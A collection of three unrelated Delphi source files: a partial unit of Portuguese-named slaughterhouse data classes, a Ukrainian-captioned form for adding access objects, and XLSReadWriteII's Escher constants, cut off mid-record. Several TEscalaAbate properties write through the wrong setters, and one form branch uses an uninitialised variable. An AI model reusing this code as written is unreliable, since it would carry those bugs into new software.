type TQuantidadesAbate = class
private
FHabilitacao: String;
FQuantidade: String;
procedure SetHabilitacao(const Value: String);
procedure SetQuantidade(const Value: String);
published
property Habilitacao: String read FHabilitacao write SetHabilitacao;
property Quantidade: String read FQuantidade write SetQuantidade;
end;
type TQuantidadesLote = class
private
FNumLote: String;
FHabilitacao: String;
FQuantidade: String;
procedure SetNumLote(const Value: String);
procedure SetHabilitacao(const Value: String);
procedure SetQuantidade(const Value: String);
published
property NumLote: String read FNumLote write SetNumLote;
property Habilitacao: String read FHabilitacao write SetHabilitacao;
property Quantidade: String read FQuantidade write SetQuantidade;
end;
type TEscalaAbate = class
private
FLote: String;
FSeqLote: String;
FQuantLote: String;
FCurrais: String;
FNome: String;
FNomeFazenda: String;
FHabilitacao: String;
FBrincado: String;
procedure SetLote(const Value: String);
procedure SetSeqLote(const Value: String);
procedure SetQuantLote(const Value: String);
procedure SetCurrais(const Value: String);
procedure SetNome(const Value: String);
procedure SetNomeFazenda(const Value: String);
procedure SetHabilitacao(const Value: String);
procedure SetBrincado(const Value: String);
published
property Lote: String read FLote write SetLote;
property SeqLote: String read FSeqLote write SetSeqLote;
property QuantLote: String read FQuantLote write SetLote;
property Currais: String read FCurrais write SetQuantLote;
property Nome: String read FNome write SetCurrais;
property NomeFazenda: String read FNomeFazenda write SetNomeFazenda;
property Habilitacao: String read FHabilitacao write SetHabilitacao;
property Brincado: String read FBrincado write SetBrincado;
end;
type TAbatesPecuarista = class
private
FDataAbate: String;
FQuant: String;
FNome: String;
FStatus: String;
FLote: String;
FPesoAbatido: String;
procedure SetDataAbate(const Value: String);
procedure SetQuant(const Value: String);
procedure SetNome(const Value: String);
procedure SetStatus(const Value: String);
procedure SetLote(const Value: String);
procedure SetPesoAbatido(const Value: String);
published
property DataAbate: String read FDataAbate write SetDataAbate;
property Quant: String read FQuant write SetQuant;
property Nome: String read FNome write SetNome;
property Status: String read FStatus write SetStatus;
property Lote: String read FLote write SetLote;
property PesoAbatido: String read FPesoAbatido write SetPesoAbatido;
end;
implementation
{ TEstoqueBloqueado }
procedure TEstoqueBloqueado.SetDataAbate(const Value: String);
begin
FDataAbate := Value;
end;
procedure TEstoqueBloqueado.SetHabilitacao(const Value: String);
begin
FHabilitacao := Value;
end;
procedure TEstoqueBloqueado.SetProduto(const Value: String);
begin
FProduto := Value;
end;
procedure TEstoqueBloqueado.SetQuantidade(const Value: Integer);
begin
FQuantidade := Value;
end;
procedure TEstoqueBloqueado.SetTipo(const Value: String);
begin
FTipo := Value;
end;
{ TCamaras }
procedure TCamaras.SetAbertura(const Value: String);
begin
FAbertura := Value;
end;
procedure TCamaras.SetCodCamara(const Value: String);
begin
FCodCamara := Value;
end;
procedure TCamaras.SetFechamento(const Value: String);
begin
FFechamento := Value;
end;
procedure TCamaras.SetHabilitacao(const Value: String);
begin
FHabilitacao := Value;
end;
procedure TCamaras.SetPeriodo(const Value: String);
begin
FPeriodo := Value;
end;
procedure TCamaras.SetQuant(const Value: Integer);
begin
FQuant := Value;
end;
{ TBalancaMapa }
procedure TBalancaMapa.SetBanda(const Value: String);
begin
FBanda := Value;
end;
procedure TBalancaMapa.SetCodMatur(const Value: String);
begin
FCodMatur := Value;
end;
procedure TBalancaMapa.SetDataPes(const Value: String);
begin
FDataPes := Value;
end;
procedure TBalancaMapa.SetHabilitacao(const Value: String);
begin
FHabilitacao := Value;
end;
procedure TBalancaMapa.SetNumLote(const Value: String);
begin
FNumLote := Value;
end;
procedure TBalancaMapa.SetSeqAbate(const Value: String);
begin
FSeqAbate := Value;
end;
procedure TBalancaMapa.SetTempo(const Value: String);
begin
FTempo := Value;
end;
{ TCamaraDetalhe }
procedure TCamaraDetalhe.SetBanda(const Value: String);
begin
FBanda := Value;
end;
procedure TCamaraDetalhe.SetCodCamara(const Value: String);
begin
FCodCamara := Value;
end;
procedure TCamaraDetalhe.SetCodTrilho(const Value: String);
begin
FCodTrilho := Value;
end;
procedure TCamaraDetalhe.SetHabilitacao(const Value: String);
begin
FHabilitacao := Value;
end;
procedure TCamaraDetalhe.SetNumLote(const Value: String);
begin
FNumLote := Value;
end;
procedure TCamaraDetalhe.SetSeqAbate(const Value: String);
begin
FSeqAbate := Value;
end;
{ TAcompanha }
procedure TAcompanha.SetAbatidos(const Value: String);
begin
Fabatidos := Value;
end;
procedure TAcompanha.SetRestam(const Value: String);
begin
FRestam := Value;
end;
procedure TAcompanha.SetTotal(const Value: String);
begin
FTotal := Value;
end;
{ TQuantidadesAbate }
procedure TQuantidadesAbate.SetHabilitacao(const Value: String);
begin
FHabilitacao := Value;
end;
procedure TQuantidadesAbate.SetQuantidade(const Value: String);
begin
FQuantidade := Value;
end;
{ TQuantidadesLote }
procedure TQuantidadesLote.SetHabilitacao(const Value: String);
begin
FHabilitacao := Value;
end;
procedure TQuantidadesLote.SetNumLote(const Value: String);
begin
FNumLote := Value;
end;
procedure TQuantidadesLote.SetQuantidade(const Value: String);
begin
FQuantidade := Value;
end;
{ TEscalaAbate }
procedure TEscalaAbate.SetBrincado(const Value: String);
begin
FBrincado := Value;
end;
procedure TEscalaAbate.SetCurrais(const Value: String);
begin
FCurrais := Value;
end;
procedure TEscalaAbate.SetHabilitacao(const Value: String);
begin
FHabilitacao := Value;
end;
procedure TEscalaAbate.SetLote(const Value: String);
begin
FLote := Value;
end;
procedure TEscalaAbate.SetNome(const Value: String);
begin
FNome := Value;
end;
procedure TEscalaAbate.SetNomeFazenda(const Value: String);
begin
FNomeFazenda := Value;
end;
procedure TEscalaAbate.SetQuantLote(const Value: String);
begin
FQuantLote := Value;
end;
procedure TEscalaAbate.SetSeqLote(const Value: String);
begin
FSeqLote := Value;
end;
{ TAbatesPecuarista }
procedure TAbatesPecuarista.SetDataAbate(const Value: String);
begin
FDataAbate := Value;
end;
procedure TAbatesPecuarista.SetLote(const Value: String);
begin
FLote := Value;
end;
procedure TAbatesPecuarista.SetNome(const Value: String);
begin
FNome := Value;
end;
procedure TAbatesPecuarista.SetPesoAbatido(const Value: String);
begin
FPesoAbatido := Value;
end;
procedure TAbatesPecuarista.SetQuant(const Value: String);
begin
FQuant := Value;
end;
procedure TAbatesPecuarista.SetStatus(const Value: String);
begin
FStatus := Value;
end;
end.
|
unit AddObject;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, AccessObject, MainDM, cxTextEdit, cxControls,
cxContainer, cxEdit, cxMaskEdit, cxDropDownEdit, cxLookupEdit,
cxDBLookupEdit, cxDBLookupComboBox;
type
TFormAddObject = class(TForm)
LabelAdd: TLabel;
LabelFullName: TLabel;
ButtonOk: TButton;
ButtonCancel: TButton;
Systems: TcxLookupComboBox;
Label1: TLabel;
EditFullName: TcxTextEdit;
EditName: TcxTextEdit;
procedure ButtonCancelClick(Sender: TObject);
procedure ButtonOkClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure EditNameKeyPress(Sender: TObject; var Key: Char);
private
{ Private declarations }
public
{ Public declarations }
FParentObject: TAccessObject;
FMode: Integer;
FResultObject: TAccessObject;
function ValidData: Boolean;
constructor Create(Owner: TComponent; ParentObject: TAccessObject; Mode: Integer);
end;
implementation
{$R *.DFM}
constructor TFormAddObject.Create(Owner: TComponent; ParentObject: TAccessObject; Mode: Integer);
begin
inherited Create(Owner);
FResultObject := nil;
FParentObject := ParentObject;
FMode := Mode;
if not Assigned(FParentObject) then FMode := fmAdd;
end;
procedure TFormAddObject.ButtonCancelClick(Sender: TObject);
begin
ModalResult := mrCancel;
end;
procedure TFormAddObject.ButtonOkClick(Sender: TObject);
var
accObj: TAccessObject;
mes: string;
begin
if not ValidData then Exit;
case FMode of
fmAdd : begin
accObj := TAccessObject.Create(DMMain.KruAccessDB);
accObj.NewObject(
Trim(EditName.Text),
Trim(EditFullName.Text),
Systems.EditValue,
FParentObject.ParentObjectID);
if not accObj.InsertObject(mes) then
ShowErrorMessage('Не вдалось додати об`єкт!'+#13+mes)
else FResultObject := accObj;
end;
fmEdit: begin
accObj := FParentObject;
accObj.ObjectName := Trim(EditName.Text);
accObj.ObjectFullName := Trim(EditFullName.Text);
accObj.Id_system :=Systems.EditValue;
if not accObj.UpdateObject(mes) then
ShowErrorMessage('Не вдалось оновити об`єкт !'+#13+mes)
else FResultObject := accObj;
end;
fmView: begin
FResultObject := accObj;
end;
end;
ModalResult := mrOk;
end;
procedure TFormAddObject.FormCreate(Sender: TObject);
begin
case FMode of
fmEdit: begin
ButtonOk.Caption := 'Примінити';
end;
fmView: begin
ButtonOk.Caption := 'ОК';
ButtonCancel.Caption := 'Вийти';
EditName.Enabled := false;
EditFullName.Enabled := false;
end;
end;
if (FMode = fmEdit) or (FMode = fmView) then
begin
EditName.Text := FParentObject.ObjectName;
EditFullName.Text := FParentObject.ObjectFullName;
end;
end;
function TFormAddObject.ValidData: Boolean;
begin
Result := false;
if Trim(EditName.Text) = '' then
begin
EditName.SetFocus;
Exit;
end;
if Trim(EditFullName.Text) = '' then
begin
EditFullName.SetFocus;
Exit;
end;
Result := true;
end;
procedure TFormAddObject.EditNameKeyPress(Sender: TObject; var Key: Char);
begin
if Key in ['/','\'] then Key := #0;
end;
end.
|
unit EscherTypes2;
{-
********************************************************************************
******* XLSReadWriteII V3.00 *******
******* *******
******* Copyright(C) 1999,2006 Lars Arvidsson, Axolot Data *******
******* *******
******* email: components@axolot.com *******
******* URL: http://www.axolot.com *******
********************************************************************************
** Users of the XLSReadWriteII component must accept the following **
** disclaimer of warranty: **
** **
** XLSReadWriteII is supplied as is. The author disclaims all warranties, **
** expressedor implied, including, without limitation, the warranties of **
** merchantability and of fitness for any purpose. The author assumes no **
** liability for damages, direct or consequential, which may result from the **
** use of XLSReadWriteII. **
********************************************************************************
}
{$B-}
{$H+}
{$R-}
{$I XLSRWII2.inc}
interface
{$ifdef ver130}
uses Windows;
{$else}
uses Types;
{$endif}
type TMSOShapeType = (mstUnknown,mstCtrlLabel,mstCtrlButton,mstCtrlListBox,
mstCtrlCheckBox,mstCtrlComboBox,mstCtrlRadioButton,
mstCtrlGroupBox,mstCtrlScrollBar,mstTextBox,mstTextShape,
mstNote,mstChart);
const MSO_ALIGNRULE = $F013;
const MSO_ANCHOR = $F00E;
const MSO_ARCRULE = $F014;
const MSO_BLIPEND = $F117;
const MSO_BLIPSTART = $F018;
const MSO_BSE = $F007;
const MSO_BSTORECONTAINER = $F001;
const MSO_CALLOUTRULE = $F017;
const MSO_CHILDANCHOR = $F00F;
const MSO_CLIENTANCHOR = $F010;
const MSO_CLIENTDATA = $F011;
const MSO_CLIENTRULE = $F015;
const MSO_CLIENTTEXTBOX = $F00D;
const MSO_CLSID = $F016;
const MSO_COLORSCHEME = $F120;
const MSO_COLORMRU = $F11A;
const MSO_CONNECTORRULE = $F012;
const MSO_DELETEDPSPL = $F11D;
const MSO_DG = $F008;
const MSO_DGCONTAINER = $F002;
const MSO_DGG = $F006;
const MSO_DGGCONTAINER = $F000;
const MSO_OLEOBJECT = $F11F;
const MSO_OPT = $F00B;
const MSO_REGROUPITEMS = $F118;
const MSO_SELECTION = $F119;
const MSO_SOLVERCONTAINER = $F005;
const MSO_SP = $F00A;
const MSO_SPCONTAINER = $F004;
const MSO_SPGR = $F009;
const MSO_SPGRCONTAINER = $F003;
const MSO_SPLITMENUCOLORS = $F11E;
const MSO_TEXTBOX = $F00C;
const MSO_USERDEFPROP = $F122;
const BLIP_DIB = $07A8;
const BLIP_JPEG = $046A;
const BLIP_PNG = $06E0;
const BLIP_EMF = $0216;
const BLIP_WMF = $03D4;
const BLIP_PICT = $0542;
const msosptMin = 0;
const msosptNotPrimitive = msosptMin;
const msosptRectangle = 1;
const msosptRoundRectangle = 2;
const msosptEllipse = 3;
const msosptDiamond = 4;
const msosptIsocelesTriangle = 5;
const msosptRightTriangle = 6;
const msosptParallelogram = 7;
const msosptTrapezoid = 8;
const msosptHexagon = 9;
const msosptOctagon = 10;
const msosptPlus = 11;
const msosptStar = 12;
const msosptArrow = 13;
const msosptThickArrow = 14;
const msosptHomePlate = 15;
const msosptCube = 16;
const msosptBalloon = 17;
const msosptSeal = 18;
const msosptArc = 19;
const msosptLine = 20;
const msosptPlaque = 21;
const msosptCan = 22;
const msosptDonut = 23;
const msosptTextSimple = 24;
const msosptTextOctagon = 25;
const msosptTextHexagon = 26;
const msosptTextCurve = 27;
const msosptTextWave = 28;
const msosptTextRing = 29;
const msosptTextOnCurve = 30;
const msosptTextOnRing = 31;
const msosptStraightConnector1 = 32;
const msosptBentConnector2 = 33;
const msosptBentConnector3 = 34;
const msosptBentConnector4 = 35;
const msosptBentConnector5 = 36;
const msosptCurvedConnector2 = 37;
const msosptCurvedConnector3 = 38;
const msosptCurvedConnector4 = 39;
const msosptCurvedConnector5 = 40;
const msosptCallout1 = 41;
const msosptCallout2 = 42;
const msosptCallout3 = 43;
const msosptAccentCallout1 = 44;
const msosptAccentCallout2 = 45;
const msosptAccentCallout3 = 46;
const msosptBorderCallout1 = 47;
const msosptBorderCallout2 = 48;
const msosptBorderCallout3 = 49;
const msosptAccentBorderCallout1 = 50;
const msosptAccentBorderCallout2 = 51;
const msosptAccentBorderCallout3 = 52;
const msosptRibbon = 53;
const msosptRibbon2 = 54;
const msosptChevron = 55;
const msosptPentagon = 56;
const msosptNoSmoking = 57;
const msosptSeal8 = 58;
const msosptSeal16 = 59;
const msosptSeal32 = 60;
const msosptWedgeRectCallout = 61;
const msosptWedgeRRectCallout = 62;
const msosptWedgeEllipseCallout = 63;
const msosptWave = 64;
const msosptFoldedCorner = 65;
const msosptLeftArrow = 66;
const msosptDownArrow = 67;
const msosptUpArrow = 68;
const msosptLeftRightArrow = 69;
const msosptUpDownArrow = 70;
const msosptIrregularSeal1 = 71;
const msosptIrregularSeal2 = 72;
const msosptLightningBolt = 73;
const msosptHeart = 74;
const msosptPictureFrame = 75;
const msosptQuadArrow = 76;
const msosptLeftArrowCallout = 77;
const msosptRightArrowCallout = 78;
const msosptUpArrowCallout = 79;
const msosptDownArrowCallout = 80;
const msosptLeftRightArrowCallout = 81;
const msosptUpDownArrowCallout = 82;
const msosptQuadArrowCallout = 83;
const msosptBevel = 84;
const msosptLeftBracket = 85;
const msosptRightBracket = 86;
const msosptLeftBrace = 87;
const msosptRightBrace = 88;
const msosptLeftUpArrow = 89;
const msosptBentUpArrow = 90;
const msosptBentArrow = 91;
const msosptSeal24 = 92;
const msosptStripedRightArrow = 93;
const msosptNotchedRightArrow = 94;
const msosptBlockArc = 95;
const msosptSmileyFace = 96;
const msosptVerticalScroll = 97;
const msosptHorizontalScroll = 98;
const msosptCircularArrow = 99;
const msosptNotchedCircularArrow = 100;
const msosptUturnArrow = 101;
const msosptCurvedRightArrow = 102;
const msosptCurvedLeftArrow = 103;
const msosptCurvedUpArrow = 104;
const msosptCurvedDownArrow = 105;
const msosptCloudCallout = 106;
const msosptEllipseRibbon = 107;
const msosptEllipseRibbon2 = 108;
const msosptFlowChartProcess = 109;
const msosptFlowChartDecision = 110;
const msosptFlowChartInputOutput = 111;
const msosptFlowChartPredefinedProcess= 112;
const msosptFlowChartInternalStorage = 113;
const msosptFlowChartDocument = 114;
const msosptFlowChartMultidocument = 115;
const msosptFlowChartTerminator = 116;
const msosptFlowChartPreparation = 117;
const msosptFlowChartManualInput = 118;
const msosptFlowChartManualOperation = 119;
const msosptFlowChartConnector = 120;
const msosptFlowChartPunchedCard = 121;
const msosptFlowChartPunchedTape = 122;
const msosptFlowChartSummingJunction = 123;
const msosptFlowChartOr = 124;
const msosptFlowChartCollate = 125;
const msosptFlowChartSort = 126;
const msosptFlowChartExtract = 127;
const msosptFlowChartMerge = 128;
const msosptFlowChartOfflineStorage = 129;
const msosptFlowChartOnlineStorage = 130;
const msosptFlowChartMagneticTape = 131;
const msosptFlowChartMagneticDisk = 132;
const msosptFlowChartMagneticDrum = 133;
const msosptFlowChartDisplay = 134;
const msosptFlowChartDelay = 135;
const msosptTextPlainText = 136;
const msosptTextStop = 137;
const msosptTextTriangle = 138;
const msosptTextTriangleInverted = 139;
const msosptTextChevron = 140;
const msosptTextChevronInverted = 141;
const msosptTextRingInside = 142;
const msosptTextRingOutside = 143;
const msosptTextArchUpCurve = 144;
const msosptTextArchDownCurve = 145;
const msosptTextCircleCurve = 146;
const msosptTextButtonCurve = 147;
const msosptTextArchUpPour = 148;
const msosptTextArchDownPour = 149;
const msosptTextCirclePour = 150;
const msosptTextButtonPour = 151;
const msosptTextCurveUp = 152;
const msosptTextCurveDown = 153;
const msosptTextCascadeUp = 154;
const msosptTextCascadeDown = 155;
const msosptTextWave1 = 156;
const msosptTextWave2 = 157;
const msosptTextWave3 = 158;
const msosptTextWave4 = 159;
const msosptTextInflate = 160;
const msosptTextDeflate = 161;
const msosptTextInflateBottom = 162;
const msosptTextDeflateBottom = 163;
const msosptTextInflateTop = 164;
const msosptTextDeflateTop = 165;
const msosptTextDeflateInflate = 166;
const msosptTextDeflateInflateDeflate= 167;
const msosptTextFadeRight = 168;
const msosptTextFadeLeft = 169;
const msosptTextFadeUp = 170;
const msosptTextFadeDown = 171;
const msosptTextSlantUp = 172;
const msosptTextSlantDown = 173;
const msosptTextCanUp = 174;
const msosptTextCanDown = 175;
const msosptFlowChartAlternateProcess= 176;
const msosptFlowChartOffpageConnector= 177;
const msosptCallout90 = 178;
const msosptAccentCallout90 = 179;
const msosptBorderCallout90 = 180;
const msosptAccentBorderCallout90 = 181;
const msosptLeftRightUpArrow = 182;
const msosptSun = 183;
const msosptMoon = 184;
const msosptBracketPair = 185;
const msosptBracePair = 186;
const msosptSeal4 = 187;
const msosptDoubleWave = 188;
const msosptActionButtonBlank = 189;
const msosptActionButtonHome = 190;
const msosptActionButtonHelp = 191;
const msosptActionButtonInformation = 192;
const msosptActionButtonForwardNext = 193;
const msosptActionButtonBackPrevious = 194;
const msosptActionButtonEnd = 195;
const msosptActionButtonBeginning = 196;
const msosptActionButtonReturn = 197;
const msosptActionButtonDocument = 198;
const msosptActionButtonSound = 199;
const msosptActionButtonMovie = 200;
const msosptHostControl = 201;
const msosptTextBox = 202;
const SpOptGroup = $00000001;
const SpOptChild = $00000002;
const SpOptPatriarch = $00000004;
const SpOptDeleted = $00000008;
const SpOptOleShape = $00000010;
const SpOptHaveMaster = $00000020;
const SpOptFlipH = $00000040;
const SpOptFlipV = $00000080;
const SpOptConnector = $00000100;
const SpOptHaveAnchor = $00000200;
const SpOptBackground = $00000400;
const SpOptHaveSpt = $00000800;
const msooptRotation = 4;
const msooptFLockRotation = 119;
const msooptFLockAspectRatio = 120;
const msooptFLockPosition = 121;
const msooptFLockAgainstSelect = 122;
const msooptFLockCropping = 123;
const msooptLockVertices = 124;
const msooptFLockText = 125;
const msooptFLockAdjustHandles = 126;
const msooptFLockAgainstGrouping = 127;
const msooptLTxid = 128;
const msooptDxTextLeft = 129;
const msooptDyTextTop = 130;
const msooptDxTextRight = 131;
const msooptDyTextBottom = 132;
const msooptWrapText = 133;
const msooptScaleText = 134;
const msooptAnchorText = 135;
const msooptXflTextFlow = 136;
const msooptCdirFont = 137;
const msooptHspNext = 138;
const msooptTxdir = 139;
const msooptFSelectText = 187;
const msooptFAutoTextMargin = 188;
const msooptFRotateText = 189;
const msooptFFitShapeToText = 190;
const msooptFFitTextToShape = 191;
const msooptGtextUNICODE = 192;
const msooptTextRTF = 193;
const msooptGtextAlign = 194;
const msooptTextSize = 195;
const msooptGtextSpacing = 196;
const msooptGtextFont = 197;
const msooptGtextFReverseRows = 240;
const msooptFGtext = 241;
const msooptGtextFVertical = 242;
const msooptGtextFKern = 243;
const msooptGtextFTight = 244;
const msooptGtextFStretch = 245;
const msooptGtextFShrinkFit = 246;
const msooptGtextFBestFit = 247;
const msooptGtextFNormalize = 248;
const msooptGtextFDxMeasure = 249;
const msooptGtextFBold = 250;
const msooptGtextFItalic = 251;
const msooptGtextFUnderline = 252;
const msooptGtextFShadow = 253;
const msooptGtextFSmallcaps = 254;
const msooptGtextFStrikethrough = 255;
const msooptCropFromTop = 256;
const msooptRopFromBottom = 257;
const msooptRopFromLeft = 258;
const msooptCropFromRight = 259;
const msooptPib = 260;
const msooptPibName = 261;
const msooptPibFlags = 262;
const msooptPictureTransparent = 263;
const msooptPictureContrast = 264;
const msooptPictureBrightness = 265;
const msooptPictureGamma = 266;
const msooptPictureId = 267;
const msooptPictureDblCrMod = 268;
const msooptPictureFillCrMod = 269;
const msooptPictureLineCrMod = 270;
const msooptPibPrint = 271;
const msooptPibPrintName = 272;
const msooptPibPrintFlags = 273;
const msooptFNoHitTestPicture = 316;
const msooptPictureGray = 317;
const msooptPictureBiLevel = 318;
const msooptPictureActive = 319;
const msooptFillType = 384;
const msooptFillColor = 385;
const msooptFillOpacity = 386;
const msooptFillBackColor = 387;
const msooptFillBackOpacity = 388;
const msooptFillCrMod = 389;
const msooptFillBlip = 390;
const msooptFillBlipName = 391;
const msooptFillBlipFlags = 392;
const msooptFillWidth = 393;
const msooptFillHeight = 394;
const msooptFillAngle = 395;
const msooptFillFocus = 396;
const msooptFillToLeft = 397;
const msooptFillToTop = 398;
const msooptFillToRight = 399;
const msooptFillToBottom = 400;
const msooptFillRectLeft = 401;
const msooptFillRectTop = 402;
const msooptFillRectRight = 403;
const msooptFillRectBottom = 404;
const msooptFillDztype = 405;
const msooptFillShadePreset = 406;
const msooptFillShadeColors = 407;
const msooptFillOriginX = 408;
const msooptFillOriginY = 409;
const msooptFillShapeOriginX = 410;
const msooptFillShapeOriginY = 411;
const msooptFillShadeType = 412;
const msooptFFilled = 443;
const msooptFHitTestFill = 444;
const msooptFillShape = 445;
const msooptFillUseRect = 446;
const msooptFNoFillHitTest = 447;
const msooptLineColor = 448;
const msooptLineOpacity = 449;
const msooptLineBackColor = 450;
const msooptLineCrMod = 451;
const msooptLineType = 452;
const msooptLineFillBlip = 453;
const msooptLineFillBlipName = 454;
const msooptLineFillBlipFlags = 455;
const msooptLineFillWidth = 456;
const msooptLineFillHeight = 457;
const msooptLineFillDztype = 458;
const msooptLineWidth = 459;
const msooptLineMiterLimit = 460;
const msooptLineStyle = 461;
const msooptLineDashing = 462;
const msooptLineDashStyle = 463;
const msooptLineStartArrowhead = 464;
const msooptLineEndArrowhead = 465;
const msooptLineStartArrowWidth = 466;
const msooptLineStartArrowLength = 467;
const msooptLineEndArrowWidth = 468;
const msooptLineEndArrowLength = 469;
const msooptLineJoinStyle = 470;
const msooptLineEndCapStyle = 471;
const msooptFArrowheadsOK = 507;
const msooptLine = 508;
const msooptFHitTestLine = 509;
const msooptLineFillShape = 510;
const msooptFNoLineDrawDash = 511;
const msooptShadowType = 512;
const msooptShadowColor = 513;
const msooptShadowHighlight = 514;
const msooptShadowCrMod = 515;
const msooptShadowOpacity = 516;
const msooptShadowOffsetX = 517;
const msooptShadowOffsetY = 518;
const msooptShadowSecondOffsetX = 519;
const msooptShadowSecondOffsetY = 520;
const msooptShadowScaleXToX = 521;
const msooptShadowScaleYToX = 522;
const msooptShadowScaleXToY = 523;
const msooptShadowScaleYToY = 524;
const msooptShadowPerspectiveX = 525;
const msooptShadowPerspectiveY = 526;
const msooptShadowWeight = 527;
const msooptShadowOriginX = 528;
const msooptShadowOriginY = 529;
const msooptFShadow = 574;
const msooptShadowObscured = 575;
const msooptPerspectiveType = 576;
const msooptPerspectiveOffsetX = 577;
const msooptPerspectiveOffsetY = 578;
const msooptPerspectiveScaleXToX = 579;
const msooptPerspectiveScaleYToX = 580;
const msooptPerspectiveScaleXToY = 581;
const msooptPerspectiveScaleYToY = 582;
const msooptPerspectivePerspectiveX = 583;
const msooptPerspectivePerspectiveY = 584;
const msooptPerspectiveWeight = 585;
const msooptPerspectiveOriginX = 586;
const msooptPerspectiveOriginY = 587;
const msooptFPerspective = 639;
const msooptC3DSpecularAmt = 640;
const msooptC3DDiffuseAmt = 641;
const msooptC3DShininess = 642;
const msooptC3DEdgeThickness = 643;
const msooptC3DExtrudeForward = 644;
const msooptC3DExtrudeBackward = 645;
const msooptC3DExtrudePlane = 646;
const msooptC3DExtrusionColor = 647;
const msooptC3DCrMod = 648;
const msooptF3D = 700;
const msooptFc3DMetallic = 701;
const msooptFc3DUseExtrusionColor = 702;
const msooptFc3DLightFace = 703;
const msooptC3DYRotationAngle = 704;
const msoopt3DXRotationAngle = 705;
const msoopt3DRotationAxisX = 706;
const msooptC3DRotationAxisY = 707;
const msooptC3DRotationAxisZ = 708;
const msooptC3DRotationAngle = 709;
const msooptC3DRotationCenterX = 710;
const msooptC3DRotationCenterY = 711;
const msooptC3DRotationCenterZ = 712;
const msooptC3DRenderMode = 713;
const msooptC3DTolerance = 714;
const msooptC3DXViewpoint = 715;
const msooptC3DYViewpoint = 716;
const msooptC3DZViewpoint = 717;
const msooptC3DOriginX = 718;
const msooptC3DOriginY = 719;
const msooptC3DSkewAngle = 720;
const msooptC3DSkewAmount = 721;
const msooptC3DAmbientIntensity = 722;
const msooptC3DKeyX = 723;
const msooptC3DKeyY = 724;
const msooptC3DKeyZ = 725;
const msooptC3DKeyIntensity = 726;
const msooptC3DFillX = 727;
const msooptC3DFillY = 728;
const msooptC3DFillZ = 729;
const msoopt3DFillIntensity = 730;
const msooptC3DConstrainRotation = 763;
const msooptC3DRotationCenterAuto = 764;
const msooptC3DParallel = 765;
const msooptC3DKeyHarsh = 766;
const msooptC3DFillHarsh = 767;
const msooptHspMaster = 769;
const msooptCxstyle = 771;
const msooptBWMode = 772;
const msooptBWModePureBW = 773;
const msooptBWModeBW = 774;
const msooptFOleIcon = 826;
const msooptFPreferRelativeResize = 827;
const msooptFLockShapeType = 828;
const msooptFDeleteAttachedObject = 830;
const msooptFBackground = 831;
const msooptSpcot = 832;
const msooptDxyCalloutGap = 833;
const msooptSpcoa = 834;
const msooptSpcod = 835;
const msooptDxyCalloutDropSpecified = 836;
const msooptDxyCalloutLengthSpecified = 837;
const msooptFCallout = 889;
const msooptFCalloutAccentBar = 890;
const msooptFCalloutTextBorder = 891;
const msooptFCalloutMinusX = 892;
const msooptFCalloutMinusY = 893;
const msooptFCalloutDropAuto = 894;
const msooptFCalloutLengthSpecified = 895;
const msooptWzName = 896;
const msooptZDescription = 897;
const msooptPihlShape = 898;
const msooptPWrapPolygonVertices = 899;
const msooptDxWrapDistLeft = 900;
const msooptDyWrapDistTop = 901;
const msooptDxWrapDistRight = 902;
const msooptDyWrapDistBottom = 903;
const msooptLidRegroup = 904;
const msooptFEditedWrap = 953;
const msooptFBehindDocument = 954;
const msooptFOnDblClickNotify = 955;
const msooptFIsButton = 956;
const msooptFOneD = 957;
const msooptFHidden = 958;
const msooptFPrint = 959;
const msooptGeoLeft = 320;
const msooptGeoTop = 321;
const msooptGeoRight = 322;
const msooptGeoBottom = 323;
const msooptShapePath = 324;
const msooptPVertices = 325;
const msooptPSegmentInfo = 326;
const msooptAdjustValue = 327;
const msooptAdjust2Value = 328;
const msooptAdjust3Value = 329;
const msooptAdjust4Value = 330;
const msooptAdjust5Value = 331;
const msooptAdjust6Value = 332;
const msooptAdjust7Value = 333;
const msooptAdjust8Value = 334;
const msooptAdjust9Value = 335;
const msooptAdjust10Value = 336;
const msooptSegmentData1 = 337;
const msooptSegmentData2 = 341;
const msooptSegmentData3 = 342;
const msooptSegmentData4 = 343;
const msooptFShadowOK = 378;
const msooptF3DOK = 379;
const msooptFLineOK = 380;
const msooptFGtextOK = 381;
const msooptFFillShadeShapeOK = 382;
const msooptFFillOK = 383;
const msoshapeLines = 0; // A line of straight segments
const msoshapeLinesClosed = 1; // A closed polygonal object
const msoshapeCurves = 2; // A line of Bezier curve segments
const msoshapeCurvesClosed = 3; // A closed shape with curved edges
const msoshapeComplex = 4; // pSegmentInfo must be non-empty
const msolineNoEnd = 0;
const msolineArrowEnd = 1;
const msolineArrowStealthEnd = 2;
const msolineArrowDiamondEnd = 3;
const msolineArrowOvalEnd = 4;
const msolineArrowOpenEnd = 5;
const msofillSolid = 0; // Fill with a solid color
const msofillPattern = 1; // Fill with a pattern (bitmap)
const msofillTexture = 2; // A texture (pattern with its own color map)
const msofillPicture = 3; // Center a picture in the shape
const msofillShade = 4; // Shade from start to end points
const msofillShadeCenter = 5; // Shade from bounding rectangle to end point
const msofillShadeShape = 6; // Shade from shape outline to end point
const msofillShadeScale = 7; // Similar to msofillShade, but the fillAngle
// is additionally scaled by the aspect ratio of
// the shape. If shape is square, it is the
// same as msofillShade.
const msofillShadeTitle = 8; // special type - shade to title --- for PP
const msofillBackground = 9; // Use the background fill color/pattern
type PMSOOPTVertices = ^TMSOOPTVertices;
TMSOOPTVertices = packed record
Unknown: word;
VertCount: word;
VertSize: word;
Points: array[0..$FFFF] of TPoint;
end;
type PMSOHeader = ^TMSOHeader;
TMSOHeader = packed record
VerInst: word;
FBT: word;
Length: longword;
end;
type TMSOBlipType = (msoblipERROR,msoblipUNKNOWN,msoblipWMF,msoblipEMF,msoblipPICT,msoblipJPEG,msoblipPNG,msoblipDIB);
const TMSOBlipTypeStr: array[0..7] of string = ('ERROR','UNKNOWN','WMF','EMF','PICT','JPEG','PNG','BMP');
type PMSOBSEMetafile = ^TMSOBSEMetafile;
TMSOBSEMetafile = packed record
CacheSize: integer;
Rect: TRect;
PtSize: TPoint;
Size: integer;
Compressed: byte;
Filter: byte;
end;
type PMSOFileReGroupItem = ^TMSOFileReGroupItem;
TMSOFileReGroupItem = packed record
fridNew: word;
fridOld: word;
end;
// ******* MSO Records *******
type PMSORecBSE = ^TMSORecBSE;
TMSORecBSE = packed record
WinType: TMSOBlipType;
MacType: TMSOBlipType;
BlipId: array[0..15] of byte;
Tag: word;
Size: longword;
RefCount: longword;
DelayOffset: longword;
Usage: byte;
